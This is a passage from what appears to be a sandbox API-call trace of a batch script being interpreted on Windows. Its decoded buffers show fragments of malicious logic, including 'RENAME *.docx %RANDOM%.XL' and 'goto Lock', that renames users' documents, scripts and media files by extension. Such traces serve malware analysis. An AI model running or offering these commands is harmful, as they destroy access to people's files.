lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x130c [0038.486] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.486] SetFilePointer (in: hFile=0x74, lDistanceToMove=4882, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1312 [0038.486] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":vbs\r\nock\r\n") returned 6 [0038.486] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.486] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1312 [0038.486] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.486] GetFileType (hFile=0x74) returned 0x1 [0038.486] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1312 [0038.486] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.486] SetFilePointer (in: hFile=0x74, lDistanceToMove=4884, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1314 [0038.486] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nbs\r\n") returned 2 [0038.486] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.486] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1314 [0038.486] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.486] GetFileType (hFile=0x74) returned 0x1 [0038.486] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1314 [0038.486] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.486] SetFilePointer (in: hFile=0x74, lDistanceToMove=4910, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x132e [0038.486] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.vbs %RANDOM%.XL\r\n") returned 26 [0038.486] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.486] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x132e [0038.486] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.486] GetFileType (hFile=0x74) returned 0x1 [0038.486] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x132e [0038.487] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.487] SetFilePointer (in: hFile=0x74, lDistanceToMove=4921, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1339 [0038.487] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ns %RANDOM%.XL\r\n") returned 11 [0038.487] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.487] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1339 [0038.487] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.487] GetFileType (hFile=0x74) returned 0x1 [0038.487] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1339 [0038.487] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.487] SetFilePointer (in: hFile=0x74, lDistanceToMove=4923, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x133b [0038.487] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0038.487] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.487] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x133b [0038.487] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.487] GetFileType (hFile=0x74) returned 0x1 [0038.487] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x133b [0038.487] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.487] SetFilePointer (in: hFile=0x74, lDistanceToMove=4930, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1342 [0038.487] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":docx\r\nck\r\n") returned 7 [0038.487] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.487] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1342 [0038.487] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.488] GetFileType (hFile=0x74) returned 0x1 [0038.488] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1342 [0038.488] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.488] SetFilePointer (in: hFile=0x74, lDistanceToMove=4932, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1344 [0038.488] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nocx\r\n") returned 2 [0038.488] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.488] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1344 [0038.488] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.488] GetFileType (hFile=0x74) returned 0x1 [0038.488] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1344 [0038.488] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.488] SetFilePointer (in: hFile=0x74, lDistanceToMove=4959, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x135f [0038.488] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.docx %RANDOM%.XL\r\n\r\n") returned 27 [0038.488] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.488] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x135f [0038.488] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.488] GetFileType (hFile=0x74) returned 0x1 [0038.488] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x135f [0038.488] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.488] SetFilePointer (in: hFile=0x74, lDistanceToMove=4970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x136a [0038.488] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ncx %RANDOM%.XL\r\n") returned 11 [0038.488] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.489] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x136a [0038.489] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.489] GetFileType (hFile=0x74) returned 0x1 [0038.489] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x136a [0038.489] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.489] SetFilePointer (in: hFile=0x74, lDistanceToMove=4972, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x136c [0038.489] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0038.489] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.489] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x136c [0038.489] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.489] GetFileType (hFile=0x74) returned 0x1 [0038.489] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x136c [0038.489] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.489] SetFilePointer (in: hFile=0x74, lDistanceToMove=4978, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1372 [0038.489] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":doc\r\nock\r\n") returned 6 [0038.489] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.489] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1372 [0038.489] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.489] GetFileType (hFile=0x74) returned 0x1 [0038.489] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1372 [0038.489] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.489] SetFilePointer (in: hFile=0x74, lDistanceToMove=4980, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1374 [0038.490] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\noc\r\n") returned 2 [0038.490] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.490] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1374 [0038.490] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.490] GetFileType (hFile=0x74) returned 0x1 [0038.490] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1374 [0038.490] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.490] SetFilePointer (in: hFile=0x74, lDistanceToMove=5006, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x138e [0038.490] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.doc %RANDOM%.XL\r\n\n") returned 26 [0038.490] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.490] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x138e [0038.490] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.490] GetFileType (hFile=0x74) returned 0x1 [0038.490] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x138e [0038.490] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.490] SetFilePointer (in: hFile=0x74, lDistanceToMove=5017, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1399 [0038.490] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nc %RANDOM%.XL\r\n") returned 11 [0038.490] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.490] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1399 [0038.490] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.490] GetFileType (hFile=0x74) returned 0x1 [0038.490] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1399 [0038.491] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.491] SetFilePointer (in: hFile=0x74, lDistanceToMove=5019, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x139b [0038.491] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0038.491] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.491] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x139b [0038.491] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.491] GetFileType (hFile=0x74) returned 0x1 [0038.491] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x139b [0038.491] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.491] SetFilePointer (in: hFile=0x74, lDistanceToMove=5025, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13a1 [0038.491] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":mp4\r\nock\r\n") returned 6 [0038.491] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.491] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13a1 [0038.491] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.491] GetFileType (hFile=0x74) returned 0x1 [0038.491] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13a1 [0038.491] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.491] SetFilePointer (in: hFile=0x74, lDistanceToMove=5027, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13a3 [0038.491] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\np4\r\n") returned 2 [0038.491] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.492] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13a3 [0038.492] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.492] GetFileType (hFile=0x74) returned 0x1 [0038.492] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13a3 [0038.492] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.492] SetFilePointer (in: hFile=0x74, lDistanceToMove=5053, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13bd [0038.492] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.mp4 %RANDOM%.XL\r\n") returned 26 [0038.492] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.492] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13bd [0038.492] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.492] GetFileType (hFile=0x74) returned 0x1 [0038.492] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13bd [0038.492] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.492] SetFilePointer (in: hFile=0x74, lDistanceToMove=5064, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13c8 [0038.492] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\n4 %RANDOM%.XL\r\n") returned 11 [0038.492] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.492] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13c8 [0038.492] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.492] GetFileType (hFile=0x74) returned 0x1 [0038.492] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13c8 [0038.492] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.492] SetFilePointer (in: hFile=0x74, lDistanceToMove=5066, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13ca [0038.493] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0038.493] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.493] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13ca [0038.493] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.493] GetFileType (hFile=0x74) returned 0x1 [0038.493] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13ca [0038.493] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.493] SetFilePointer (in: hFile=0x74, lDistanceToMove=5072, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13d0 [0038.493] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":mp3\r\nock\r\n") returned 6 [0038.493] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.493] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13d0 [0038.493] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.493] GetFileType (hFile=0x74) returned 0x1 [0038.493] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13d0 [0038.493] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.493] SetFilePointer (in: hFile=0x74, lDistanceToMove=5074, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13d2 [0038.493] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\np3\r\n") returned 2 [0038.493] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.493] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13d2 [0038.493] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.493] GetFileType (hFile=0x74) returned 0x1 [0038.493] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13d2 [0038.494] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.494] SetFilePointer (in: hFile=0x74, lDistanceToMove=5100, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13ec [0038.494] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.mp3 %RANDOM%.XL\r\n") returned 26 [0038.494] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.494] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13ec [0038.494] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.494] GetFileType (hFile=0x74) returned 0x1 [0038.494] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13ec [0038.494] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, 